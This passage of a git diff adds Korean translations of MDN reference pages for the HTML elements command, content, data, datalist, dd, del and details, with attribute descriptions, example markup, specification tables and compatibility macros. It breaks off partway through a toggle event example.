+ <dd>This attribute gives the name of the group of commands, with a <code>type</code> of <code>radio</code>, that will be toggled when the command itself is toggled. This attribute must be omitted unless the <code>type</code> attribute is <code>radio</code>.</dd>
+ <dt>{{htmlattrdef("type")}}</dt>
+ <dd>This attribute indicates the kind of command. This can be one of three values.
+ <ul>
+  <li>
+   <p><code>command</code> or empty which is the default state and indicates that this is a normal command.</p>
+  </li>
+  <li>
+   <p><code>checkbox</code> indicates that the command can be toggled using a checkbox.</p>
+  </li>
+  <li>
+   <p><code>radio</code> indicates that the command can be toggled using a radio button.</p>
+  </li>
+ </ul>
+ </dd>
+</dl>
+
+<h2 id="Examples">Examples</h2>
+
+<pre class="brush: html">&lt;command type="command" label="Save"
+    icon="icons/save.png" onclick="save()"&gt;
+</pre>
+
+<h2 id="Specifications" name="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#commands')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'semantics.html#the-command-element', '&lt;command&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("html.elements.command")}}</p>
+
+<p>{{ HTMLRef }}</p>
diff --git a/files/ko/web/html/element/content/index.html b/files/ko/web/html/element/content/index.html
new file mode 100644
index 0000000000..31179154e3
--- /dev/null
+++ b/files/ko/web/html/element/content/index.html
@@ -0,0 +1,101 @@
+---
+title: <content>
+slug: Web/HTML/Element/content
+translation_of: Web/HTML/Element/content
+---
+<div>{{Deprecated_header}}</div>
+
+<p><span class="seoSummary">The <strong>HTML <code>&lt;content&gt;</code> element</strong>—an obsolete part of the <a href="/en-US/docs/Web/Web_Components">Web Components</a> suite of technologies—was used inside of <a href="/en-US/docs/Web/Web_Components/Shadow_DOM">Shadow DOM</a> as an {{glossary("insertion point")}}, and wasn't meant to be used in ordinary HTML.</span> It has now been replaced by the {{HTMLElement("slot")}} element, which creates a point in the DOM at which a shadow DOM can be inserted.</p>
+
+<div class="note">
+<p><strong>Note: </strong>Though present in early draft of the specifications and implemented in several browsers, this element has been removed in later versions of the spec, and should not be used. It is documented here to assist in adapting code written during the time it was included in the spec to work with newer versions of the specification.</p>
+</div>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/en-US/docs/Web/HTML/Content_categories" title="HTML/Content_categories">Content categories</a></th>
+   <td><a href="/en-US/docs/Web/HTML/Content_categories#Transparent_content_model" title="HTML/Content_categories#Transparent_content_model">Transparent content</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Permitted content</th>
+   <td><a href="/en-US/docs/Web/HTML/Content_categories#Flow_content">Flow content</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Tag omission</th>
+   <td>{{no_tag_omission}}</td>
+  </tr>
+  <tr>
+   <th scope="row">Permitted parent elements</th>
+   <td>Any element that accepts flow content.</td>
+  </tr>
+  <tr>
+   <th scope="row">DOM interface</th>
+   <td>{{domxref("HTMLContentElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Attributes" name="Attributes">Attributes</h2>
+
+<p>This element includes the <a href="/en-US/docs/Web/HTML/Global_attributes">global attributes</a>.</p>
+
+<dl>
+ <dt><code>select</code></dt>
+ <dd>A comma-separated list of selectors. These have the same syntax as CSS selectors. They select the content to insert in place of the <code>&lt;content&gt;</code> element.</dd>
+</dl>
+
+<h2 id="Example">Example</h2>
+
+<p>Here is a simple example of using the <code>&lt;content&gt;</code> element. It is an HTML file with everything needed in it.</p>
+
+<div class="note">
+<p><strong>Note:</strong> For this code to work, the browser you display it in must support Web Components. See <a href="/en-US/docs/Web/Web_Components#Enabling_Web_Components_in_Firefox">Enabling Web Components in Firefox</a>.</p>
+</div>
+
+<pre class="brush: html">&lt;html&gt;
+  &lt;head&gt;&lt;/head&gt;
+  &lt;body&gt;
+  &lt;!-- The original content accessed by &lt;content&gt; --&gt;
+  &lt;div&gt;
+    &lt;h4&gt;My Content Heading&lt;/h4&gt;
+    &lt;p&gt;My content text&lt;/p&gt;
+  &lt;/div&gt;
+
+  &lt;script&gt;
+  // Get the &lt;div&gt; above.
+  var myContent = document.querySelector('div');
+  // Create a shadow DOM on the &lt;div&gt;
+  var shadowroot = myContent.createShadowRoot();
+  // Insert into the shadow DOM a new heading and
+  // part of the original content: the &lt;p&gt; tag.
+  shadowroot.innerHTML =
+   '&lt;h2&gt;Inserted Heading&lt;/h2&gt; &lt;content select="p"&gt;&lt;/content&gt;';
+  &lt;/script&gt;
+
+  &lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<p>If you display this in a web browser it should look like the following.</p>
+
+<p><img alt="content example" src="https://mdn.mozillademos.org/files/10077/content-example.png" style="height: 383px; width: 716px;"></p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<p>This element is no longer defined by any specifications.</p>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("html.elements.content")}}</p>
+
+<h2 id="See_also" name="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/Web_Components">Web Components</a></li>
+ <li>{{HTMLElement("shadow")}}, {{HTMLElement("slot")}}, {{HTMLElement("template")}}, {{HTMLElement("element")}}</li>
+</ul>
+
+<div>{{HTMLRef}}</div>
diff --git a/files/ko/web/html/element/data/index.html b/files/ko/web/html/element/data/index.html
new file mode 100644
index 0000000000..3841ae04fe
--- /dev/null
+++ b/files/ko/web/html/element/data/index.html
@@ -0,0 +1,104 @@
+---
+title: <data>
+slug: Web/HTML/Element/data
+tags:
+  - Element
+  - HTML
+  - HTML text-level semantics
+  - Reference
+  - Web
+translation_of: Web/HTML/Element/data
+---
+<div>{{HTMLRef}}</div>
+
+<p><span class="seoSummary"><strong>HTML <code>&lt;data&gt;</code> 요소</strong>는 주어진 콘텐츠를 기계가 읽을 수 있는 해석본과 연결합니다.</span> 콘텐츠가 시간 혹은 날짜 관련 정보라면 대신 {{htmlelement("time")}} 요소를 사용하세요.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/data.html", "tabbed-shorter")}}</div>
+
+
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/ko/docs/Web/Guide/HTML/Content_categories">콘텐츠 카테고리</a></th>
+   <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#플로우_콘텐츠">플로우 콘텐츠</a>, <a href="/ko/docs/Web/Guide/HTML/Content_categories#구문_콘텐츠">구문 콘텐츠</a>, 뚜렷한 콘텐츠.</td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 콘텐츠</th>
+   <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#구문_콘텐츠">구문 콘텐츠</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">태그 생략</th>
+   <td>{{no_tag_omission}}</td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 부모 요소</th>
+   <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#구문_콘텐츠">구문 콘텐츠</a>를 허용하는 모든 요소.</td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 ARIA 역할</th>
+   <td>모두</td>
+  </tr>
+  <tr>
+   <th scope="row">DOM 인터페이스</th>
+   <td>{{domxref("HTMLDataElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="특성">특성</h2>
+
+<p><span style="line-height: 21px;">이 요소는 </span><a href="/ko/docs/Web/HTML/Global_attributes" style="line-height: 21px;" title="HTML/Global attributes">전역 특성</a>을 포함합니다</p>
+
+<dl>
+ <dt>{{htmlattrdef("value")}}</dt>
+ <dd>기계가 읽을 수 있는 형태의 콘텐츠 해석본.</dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<p>밑의 예제는 상품의 이름을 표시하면서, 각각의 상품 번호도 연결합니다.</p>
+
+<pre class="brush: html">&lt;p&gt;새로운 상품들&lt;/p&gt;
+&lt;ul&gt;
+ &lt;li&gt;&lt;data value="398"&gt;미니 케찹&lt;/data&gt;&lt;/li&gt;
+ &lt;li&gt;&lt;data value="399"&gt;점보 케찹&lt;/data&gt;&lt;/li&gt;
+ &lt;li&gt;&lt;data value="400"&gt;메가 점보 케찹&lt;/data&gt;&lt;/li&gt;
+&lt;/ul&gt;
+</pre>
+
+<h2 id="Specifications" name="Specifications">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'semantics.html#the-data-element', '&lt;data&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>No change from {{SpecName('HTML5 W3C')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'textlevel-semantics.html#the-data-element', '&lt;data&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("html.elements.data")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>HTML {{HTMLElement("time")}} 요소.</li>
+</ul>
diff --git a/files/ko/web/html/element/datalist/index.html b/files/ko/web/html/element/datalist/index.html
new file mode 100644
index 0000000000..dd17028126
--- /dev/null
+++ b/files/ko/web/html/element/datalist/index.html
@@ -0,0 +1,115 @@
+---
+title: <datalist>
+slug: Web/HTML/Element/datalist
+tags:
+  - Element
+  - HTML
+  - HTML forms
+  - HTML5
+  - Reference
+  - Web
+translation_of: Web/HTML/Element/datalist
+---
+<div>{{HTMLRef}}</div>
+
+<p><span class="seoSummary"><strong>HTML <code>&lt;datalist&gt;</code> 요소</strong>는 다른 컨트롤에서 고를 수 있는 가능한, 혹은 추천하는 선택지를 나타내는 {{htmlelement("option")}} 요소 여럿을 담습니다.</span></p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/datalist.html", "tabbed-standard")}}</div>
+
+<div class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples </a> and send us a pull request.</div>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/ko/docs/Web/Guide/HTML/Content_categories">콘텐츠 카테고리</a></th>
+   <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#플로우_콘텐츠">플로우 콘텐츠</a>, <a href="/ko/docs/Web/Guide/HTML/Content_categories#구문_콘텐츠">구문 콘텐츠</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 콘텐츠</th>
+   <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#구문_콘텐츠">구문 콘텐츠</a>, 또는 0개 이상의 {{htmlelement("option")}} 요소.</td>
+  </tr>
+  <tr>
+   <th scope="row">태그 생략</th>
+   <td>{{no_tag_omission}}</td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 부모 요소</th>
+   <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#구문_콘텐츠">구문 콘텐츠</a>를 허용하는 모든 요소.</td>
+  </tr>
+  <tr>
+   <th scope="row">암시적 ARIA 역할</th>
+   <td><a href="/ko/docs/Web/Accessibility/ARIA/Roles/listbox_role"><code>listbox</code></a></td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 ARIA 역할</th>
+   <td>없음</td>
+  </tr>
+  <tr>
+   <th scope="row">DOM 인터페이스</th>
+   <td>{{domxref("HTMLDataListElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="특성">특성</h2>
+
+<p>이 요소는 <a href="/ko/docs/Web/HTML/Global_attributes">전역 특성</a>만 포함합니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: html">&lt;label for="myBrowser"&gt;아래 목록에서 브라우저를 선택하세요:&lt;/label&gt;
+&lt;input list="browsers" id="myBrowser" name="myBrowser" /&gt;
+&lt;datalist id="browsers"&gt;
+  &lt;option value="Chrome"&gt;
+  &lt;option value="Firefox"&gt;
+  &lt;option value="Internet Explorer"&gt;
+  &lt;option value="Opera"&gt;
+  &lt;option value="Safari"&gt;
+  &lt;option value="Microsoft Edge"&gt;
+&lt;/datalist&gt;
+</pre>
+
+<h3 id="결과">결과</h3>
+
+<p>{{EmbedLiveSample("예제")}}</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'forms.html#the-datalist-element', '&lt;datalist&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'sec-forms.html#the-datalist-element', '&lt;datalist&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("html.elements.datalist")}}</p>
+
+<h2 id="폴리필">폴리필</h2>
+
+<p><a href="https://github.com/mfranzke/datalist-polyfill">datalist-polyfill</a>을 추가해 구형 브라우저에서 <code>&lt;datalist&gt;</code> 지원을 추가하세요.</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{HTMLElement("input")}} 요소와 {{htmlattrxref("list", "input")}} 특성</li>
+ <li>{{HTMLElement("option")}} 요소</li>
+</ul>
diff --git a/files/ko/web/html/element/dd/index.html b/files/ko/web/html/element/dd/index.html
new file mode 100644
index 0000000000..3129bef964
--- /dev/null
+++ b/files/ko/web/html/element/dd/index.html
@@ -0,0 +1,111 @@
+---
+title: <dd>
+slug: Web/HTML/Element/dd
+tags:
+  - Element
+  - HTML
+  - HTML grouping element
+  - Reference
+  - Web
+  - 요소
+translation_of: Web/HTML/Element/dd
+---
+<div>{{HTMLRef}}</div>
+
+<p><strong>HTML <code>&lt;dd&gt;</code> 요소</strong>는 정의 목록 요소({{HTMLElement("dl")}})에서 앞선 용어({{htmlelement("dt")}})에 대한 설명, 정의, 또는 값을 제공합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/dd.html", "tabbed-standard")}}</div>
+
+<p class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples </a> and send us a pull request.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/ko/docs/Web/Guide/HTML/%EC%BB%A8%ED%85%90%ED%8A%B8_%EC%B9%B4%ED%85%8C%EA%B3%A0%EB%A6%AC">콘텐츠 카테고리</a></th>
+   <td>없음.</td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 콘텐츠</th>
+   <td><a href="/ko/docs/Web/Guide/HTML/컨텐트_카테고리#플로우_콘텐츠">플로우 콘텐츠</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">태그 생략</th>
+   <td>여는 태그는 필수입니다. 바로 다음 요소가 <code>&lt;dd&gt;</code> 또는 {{HTMLElement("dt")}}거나, 자신이 부모의 마지막 자식이라면 닫는 태그는 생략할 수 있습니다.</td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 부모 요소</th>
+   <td>{{HTMLElement("dl")}} 또는 ({{glossary("WHATWG")}} HTML에서) {{HTMLElement("dl")}} 안의 {{htmlelement("div")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 이전 형제 요소</th>
+   <td>{{HTMLElement("dt")}} 또는 다른 <code>&lt;dd&gt;</code>.</td>
+  </tr>
+  <tr>
+   <th scope="row">암시적 ARIA 역할</th>
+   <td>{{ARIARole("definition")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 ARIA 역할</th>
+   <td>없음</td>
+  </tr>
+  <tr>
+   <th scope="row">DOM 인터페이스</th>
+   <td>{{domxref("HTMLElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="특성">특성</h2>
+
+<p><span style="line-height: 21px;">이 요소는 </span><a href="/ko/docs/Web/HTML/Global_attributes" style="line-height: 21px;" title="HTML/Global attributes">전역 특성</a>을 포함합니다.</p>
+
+<dl>
+ <dt>{{htmlattrdef("nowrap")}} {{Non-standard_inline}}</dt>
+ <dd>값이 <code>yes</code>면 너비의 끝에서 정의 텍스트의 줄이 바뀌지 않습니다. 기본값은 <code>no</code>입니다.</dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<p>예제를 보려면 <a href="/ko/docs/HTML/Element/dl#예제" title="HTML/Element/dl#examples"><code>&lt;dl&gt;</code> 예제</a>를 보세요.</p>
+
+<h2 id="Specifications" name="Specifications">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">상태</th>
+   <th scope="col">주석</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'grouping-content.html#the-dd-element', '&lt;dd&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'grouping-content.html#the-dd-element', '&lt;dd&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01', 'struct/lists.html#h-10.3', '&lt;dd&gt;')}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("html.elements.dd")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{HTMLELement("dl")}}</li>
+ <li>{{HTMLElement("dt")}}</li>
+</ul>
diff --git a/files/ko/web/html/element/del/index.html b/files/ko/web/html/element/del/index.html
new file mode 100644
index 0000000000..47dd0c67da
--- /dev/null
+++ b/files/ko/web/html/element/del/index.html
@@ -0,0 +1,140 @@
+---
+title: <del>
+slug: Web/HTML/Element/del
+tags:
+  - Element
+  - HTML
+  - HTML edits
+  - Reference
+  - Web
+translation_of: Web/HTML/Element/del
+---
+<div>{{HTMLRef}}</div>
+
+<p><span class="seoSummary"><strong>HTML <code>&lt;del&gt;</code> 요소</strong>는 문서에서 제거된 텍스트의 범위를 나타냅니다.</span> 문서나 소스 코드의 변경점 추적 등에 사용할 수 있습니다. {{htmlelement("ins")}} 요소를 추가된 텍스트의 범위를 나타낼 수 있습니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/del.html", "tabbed-standard")}}</div>
+
+<p class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples </a> and send us a pull request.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/ko/docs/Web/Guide/HTML/Content_categories">콘텐츠 카테고리</a></th>
+   <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#플로우_콘텐츠">플로우 콘텐츠</a>, <a href="/ko/docs/Web/Guide/HTML/Content_categories#구문_콘텐츠">구문 콘텐츠</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 콘텐츠</th>
+   <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#투명_콘텐츠_모델">투명</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">태그 생략</th>
+   <td>{{no_tag_omission}}</td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 부모 요소</th>
+   <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#구문_콘텐츠">구문 콘텐츠</a>를 허용하는 모든 요소.</td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 ARIA 역할</th>
+   <td>모두</td>
+  </tr>
+  <tr>
+   <th scope="row">DOM 인터페이스</th>
+   <td>{{domxref("HTMLModElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="특성">특성</h2>
+
+<p><span style="line-height: 21px;">이 요소는 </span><a href="/ko/docs/Web/HTML/Global_attributes" style="line-height: 21px;" title="HTML/Global attributes">전역 특성</a><span style="line-height: 21px;">을 포함</span>합니다.</p>
+
+<dl>
+ <dt>{{htmlattrdef("cite")}}</dt>
+ <dd>회의록, 이슈 추적 시스템의 티켓 번호 등 변경점을 설명하는 리소스의 {{glossary("URI")}}.</dd>
+ <dt>{{htmlattrdef("datetime")}}</dt>
+ <dd>변경이 발생한 일시. 유효한 날짜 문자열이어야 하며, 시간을 지정할 경우 역시 유효해야 합니다. 유효하지 않은 값을 지정할 경우 일시를 지정하지 않은 것과 같습니다. 유효한 문자열의 종류는 <a href="/ko/docs/Web/HTML/Date_and_time_formats">HTML에서 사용하는 날짜와 시간 형식</a> 문서에서 확인할 수 있습니다.</dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: html">&lt;p&gt;&lt;del&gt;This text has been deleted&lt;/del&gt;,
+here is the rest of the paragraph.&lt;/p&gt;
+&lt;del&gt;&lt;p&gt;This paragraph has been deleted.&lt;/p&gt;&lt;/del&gt;</pre>
+
+<h3 id="결과">결과</h3>
+
+<p>{{EmbedLiveSample("예제")}}</p>
+
+<h2 id="접근성_고려사항">접근성 고려사항</h2>
+
+<p>대부분의 스크린 리더는 기본값에서 <code>&lt;del&gt;</code> 요소의 존재를 표현하지 않습니다. 그러나 CSS {{cssxref("content")}} 속성과 {{cssxref("::before")}}, {{cssxref("::after")}} 의사 요소를 사용하면 소리내어 읽도록 할 수 있습니다.</p>
+
+<pre class="brush: css">ins::before,
+ins::after {
+  clip-path: inset(100%);
+  clip: rect(1px, 1px, 1px, 1px);
+  height: 1px;
+  overflow: hidden;
+  position: absolute;
+  white-space: nowrap;
+  width: 1px;
+}
+
+ins::before {
+  content: " [제거 부분 시작] ";
+}
+
+ins::after {
+  content: " [제거 부분 끝] ";
+}</pre>
+
+<p>스크린 리더 사용자 일부는 지나치게 자세한 안내를 유발할 수 있는 콘텐츠의 표현을 의도적으로 꺼놓습니다. 그러므로 이 방식을 남용해선 안되며, 콘텐츠의 이해에 삭제 여부가 꼭 필요할 때만 사용해야 합니다.</p>
+
+<ul>
+ <li><a href="https://developer.paciellogroup.com/blog/2017/12/short-note-on-making-your-mark-more-accessible/">Short note on making your mark (more accessible) | The Paciello Group</a></li>
+ <li><a href="http://adrianroselli.com/2017/12/tweaking-text-level-styles.html">Tweaking Text Level Styles | Adrian Roselli</a></li>
+</ul>
+
+<h2 id="Specifications" name="Specifications">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">상태</th>
+   <th scope="col">주석</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'edits.html#the-del-element', '&lt;del&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'edits.html#the-del-element', '&lt;del&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01', 'struct/text.html#h-9.4', '&lt;del&gt;')}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("html.elements.del")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>텍스트의 삽입을 위한 {{HTMLElement("ins")}} 요소</li>
+ <li>삭제 여부와 관계 없이 취소선을 위한 {{htmlelement("s")}} 요소</li>
+</ul>
diff --git a/files/ko/web/html/element/details/index.html b/files/ko/web/html/element/details/index.html
new file mode 100644
index 0000000000..2ff1da8f03
--- /dev/null
+++ b/files/ko/web/html/element/details/index.html
@@ -0,0 +1,284 @@
+---
+title: <details>
+slug: Web/HTML/Element/details
+tags:
+  - Element
+  - HTML
+  - HTML interactive elements
+  - Reference
+  - Web
+translation_of: Web/HTML/Element/details
+---
+<div>{{HTMLRef}}</div>
+
+<p><span class="seoSummary"><strong>HTML <code>&lt;details&gt;</code> 요소</strong>는 "열림" 상태일 때만 내부 정보를 보여주는 정보 공개 위젯을 생성합니다.</span> 요약이나 레이블은 {{htmlelement("summary")}} 요소를 통해 제공할 수 있습니다.</p>
+
+<p>정보 공개 위젯은 보통 레이블 옆의 작은 삼각형이 돌아가면서 열림/닫힘 상태를 나타냅니다. <code>&lt;details&gt;</code> 요소의 첫 번째 자식이 <code>&lt;summary&gt;</code> 요소라면, <code>&lt;summary&gt;</code>의 콘텐츠를 위젯의 레이블로 사용합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/details.html", "tabbed-shorter")}}</div>
+
+<div class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> and send us a pull request.</div>
+
+<div class="hidden">
+<div class="note">
+<p><strong>Note:</strong> The common use of a triangle which rotates or twists around to represent opening or closing the widget is why these are sometimes called "twisties."</p>
+</div>
+
+<p>A <code>&lt;details&gt;</code> widget can be in one of two states. The default <em>closed</em> state displays only the triangle and the label inside <code>&lt;summary&gt;</code> (or a {{Glossary("user agent")}}-defined default string if no <code>&lt;summary&gt;</code>). This might look like the following:</p>
+
+<figure style="margin: 1em 0; padding: 1em; border: 1px solid black; box-shadow: 0 0 4px 1px black; width: 640px;"><img alt="Screenshot of closed &lt;details> widget. A black left-pointing triangle sits to the right of the text “System Requirements”." src="https://mdn.mozillademos.org/files/15717/details-closed.png" style="height: 26px; width: 191px;"></figure>
+
+<p>Here we see a standard disclosure widget with the label "System Requirements", in its default closed state. When the user clicks on the widget or focuses it then presses the space bar, it "twists" open, revealing its contents:</p>
+
+<figure style="margin: 1em 0; padding: 1em; border: 1px solid black; box-shadow: 0 0 4px 1px black; width: 640px;"><img alt="Screenshot of open &lt;details> widget. The triangle now points downward, and a detailed description of what “System Requirements” means is shown." src="https://mdn.mozillademos.org/files/15718/details-open.png" style="height: 96px; width: 640px;"></figure>
+
+<p>From there, you can use CSS to style the disclosure widget, and you can programmatically open and close the widget by setting/removing its {{htmlattrxref("open", "details")}} attribute.</p>
+
+<p>By default when closed, the widget is only tall enough to display the disclosure triangle and summary. When open, it expands to display the details contained within.</p>
+
+<div class="note">
+<p><strong>Note:</strong> Unfortunately, at this time there's no built-in way to animate the transition between open and closed.</p>
+</div>
+
+<p>Fully standards-compliant implementations automatically apply the CSS <code>{{cssxref("display")}}: list-item</code> to the {{HTMLElement("summary")}} element. You can use this to customize its appearance further. See {{anch("Customizing the disclosure widget")}} for further details.</p>
+</div>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/ko/docs/Web/Guide/HTML/Content_categories">콘텐츠 카테고리</a></th>
+   <td>플로우 콘텐츠, 구획 루트, 대화형 콘텐츠, 뚜렷한 콘텐츠.</td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 콘텐츠</th>
+   <td>하나의 {{htmlelement("summary")}}와, 그 뒤의 플로우 콘텐츠.</td>
+  </tr>
+  <tr>
+   <th scope="row">태그 생략</th>
+   <td>{{no_tag_omission}}</td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 부모 요소</th>
+   <td><a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Content_categories#Flow_content">플로우 콘텐츠</a>를 허용하는 모든 요소.</td>
+  </tr>
+  <tr>
+   <th scope="row">암시적 ARIA 역할</th>
+   <td>{{ARIARole("group")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 ARIA 역할</th>
+   <td>없음</td>
+  </tr>
+  <tr>
+   <th scope="row">DOM 인터페이스</th>
+   <td>{{domxref("HTMLDetailsElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="특성">특성</h2>
+
+<p>이 요소는 <a href="/ko/docs/Web/HTML/Global_attributes">전역 특성</a>을 포함합니다.</p>
+
+<dl>
+ <dt>{{htmlattrdef("open")}}</dt>
+ <dd>상세 정보, 즉 <code>&lt;details&gt;</code> 요소의 콘텐츠가 현재 보이는 상태인지 나타냅니다. 기본값 <code>false</code>는 정보가 보이지 않는다는 뜻입니다.</dd>
+</dl>
+
+<h2 id="이벤트">이벤트</h2>
+
+<p><code>&lt;details&gt;</code> 요소는 HTML 요소가 지원하는 일반적인 이벤트 외에도, <code>&lt;details&gt;</code> 요소의 상태가 열기와 닫기로 바뀔 때 발생하는 {{event("toggle")}} 이벤트도 지원합니다. 이벤트는 상태가 변한 후 발생하며, 브라우저에서 이벤트를 쏘기 전에 상태가 여러 번 바뀌는 경우 모두 통합하여 하나의 이벤트만 전송합니다.</p>
+
+<p><code>toggle</code> 이벤트 처리기를 부착해 위젯의 상태 변화를 감지할 수 있습니다.</p>
+
+<pre class="brush: js">details.addEventListener("toggle", event =&gt; {
+  if (details.open) {
+    /* the element was toggled open */
+  } else {
